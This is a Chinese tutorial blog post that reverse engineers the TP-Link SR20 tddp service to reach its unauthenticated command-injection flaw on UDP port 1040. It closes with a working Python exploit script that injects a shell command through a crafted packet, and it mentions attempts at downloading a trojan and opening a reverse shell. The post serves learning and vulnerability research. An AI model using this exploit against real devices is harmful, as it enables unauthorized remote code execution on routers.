iot安全入门:逆向分析程序(TP-Link SR20 命令执行漏洞为例)

前言

文章关于iot安全入门实操,选取例子是TP-Link SR20 命令执行漏洞,本文重点是熟悉逆向分析的流程,所以其他步骤会省略。

这里简要介绍漏洞原理:

固件下载地址:

https://static.tp-link.com/2018/201806/20180611/SR20(US)_V1_180518.zip

工具:

IOT-research虚拟机

提取码nqy3

https://pan.baidu.com/s/1ke6gvJ9sFlnpPE17O9nMuQ 

参考资料:

《物联网安全漏洞挖掘实战》

一些经典IoT漏洞的分析与复现(新手向) - IOTsec-Zone

复现TP-Link SR20 本地网络远程代码执行漏洞_tplink漏洞poc-CSDN博客

复现:

解压后定位到tddp二进制文件,arm-32-小端

本文分析的方式是从头开始分析,来到start函数,R0寄存器是传第一个参数,存着某个函数地址,下面进行B指令无条件执行main函数,跟进sub971c

这里都点一下看看,定位到sub936c,另外两个没啥用

初步判断v6 是一个指针,指向一个结构体,用于存储socket相关的信息。

重点是标注的这些函数信息,可以判断这些函数是配置socket的,一个个点进去看,发现sub_16d68值得关注

这里的a2是传进来的参数1040htons函数是将整型变量从主机字节顺序转变成网络字节顺序,而bind函数是将一个本地地址与一个套接口进行绑定,这个函数的目的就是socket套接字绑定到了1040端口上

返回主函数继续观察。这段循环是重点。代码进入一个无限循环,不断进行读取操作。其中 select 函数用于监视读取socket数据的情况

在 C 语言中,select 函数的原型如下:

int select(int nfds, fd_set *readfds, fd_set *writefds, fd_set *exceptfds, struct timeval *timeout);  

参数说明

  • nfds: 监控的文件描述符的数量,通常是所有文件描述符中最大值加一。
  • readfds: 指向一个 fd_set 结构的指针,表示需要监控的可读文件描述符集合。
  • writefds: 指向一个 fd_set 结构的指针,表示需要监控的可写文件描述符集合。
  • exceptfds: 指向一个 fd_set 结构的指针,表示需要监控的异常条件的文件描述符集合。
  • timeout: 指向一个 timeval 结构的指针,指定等待的最长时间。如果设置为 NULL,则 select 会一直阻塞,直到有事件发生。

返回值

  • 如果成功,返回准备好的文件描述符的数量。
  • 如果超时,返回 0。
  • 如果出错,返回 -1,并设置 errno 以指示错误类型。

有这段介绍,就能理解这段代码了:

在配置好socket之后,到这里的循环读取socket数据,程序已经开启了对远程的交互。

如果 select 返回v7 0,表示没有数据可读,则跳出循环。否者则应处理数据,那么这里的sub_16418大概率是处理数据函数,继续双击跟进它

关键函数recvfrom(),该函数的原型是:ssize_t recvfrom(int sockfd,void *buf,size_t len,unsigned int flags, struct sockaddr *from,socklen_t *fromlen),用来接收远程主机经指定的socket传来的数据,并把数据传到由参数buf指向的内存空间。

也就是说a1的45083偏移处存放着socket接收到的数据,即我们后续攻击传进来的数据。

继续观察下面代码这个if判断。根据TDDP协议存在两个版本,该协议规定第一个字节处为version,即版本。而该协议存在漏洞的版本是version为1的时候,不需要进行身份的认证即可对设备进行调试。得出在38行对v2,即TDDP协议第一个字节处的version进行判断是否为1时,判断正确后下边执行的34行-37行几个函数中存在关键函数。

经过观察,sub15AD8和sub9340只是简单的处理,那么sub_15E74为关键函数继续跟进

这里对a1的45084偏移处的数据进行判断,之前已经判断出45083偏移处是数据,那么这里是对发送数据的第二字节进行判断。

这里有一大堆case,正常流程应该是要一个个看,这里复现已经知道了是0x31,就不浪费时间了,直接点到0x31的处理函数里面

有两个地方要关注

1、inet_ntoa是转换ip地址,v16应该是保存着远程ip地址,sub_91dc是对一串命令,ip进行处理,而其中的s不难发现是远程传进来的数据

其中tftp -gr 文件名 资源服务器ip    

是用来获取远程文件的,这个文件名,保存在变量s里,如果我们可以控制,那么这里就能命令执行或下载木马了

2、一大串的lua开头的不知道啥玩意,交给chatgpt,得知是一种脚本语言,这里是对远程下载来的lua文件进行执行

那么这里确实能导致木马执行

这个文件名s是怎么控制的?可以网上点击一下相关变量,很明显就是第一个字节设置为1,文件名保存在偏移12字节处

跟进sub_91dc,和猜想的一样,看到了熟悉的execve,在加上传参,最后执行的参数就是,char *argv[] = {"sh", "-c", s, NULL};其中<s>是传参过来的,即tfdp传输命令

(但是这里传参就只传了个sh,明显代码不对,大概率是ida的问题吧)

逆向分析到这已经完成了,仿真就不赘述了,这里贴一下exp脚本

from socket import *

tddp_port = 1040
ip = sys.argv[1]
command = sys.argv[2]

# 获取udp/ip套接字
socket_send = socket(AF_INET, SOCK_DGRAM, 0)

#根据逆向分析得知:第二字节必须是0x31。第一字节选择0x01,那么所读取的文件名就在偏移12字节后,所以要补全12字节再构造文件名。
payload = b'\x01\x31'.ljust(12, b'\x00')

#;aaa是因为目标程序中用sscanf对数据通过分号进行了隔开,只保留前半部分
payload += b"%s;aaa" % command

socket_send.sendto(payload, (ip, tddp_port))
socket_send.close()

最后按教程的去下载木马反弹shell,一直不成功,大概率是固件的busybox过于简陋,很难完成反弹shell。试一下拼接命令执行个ifconfig,成功了(执行ls是不成功的)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值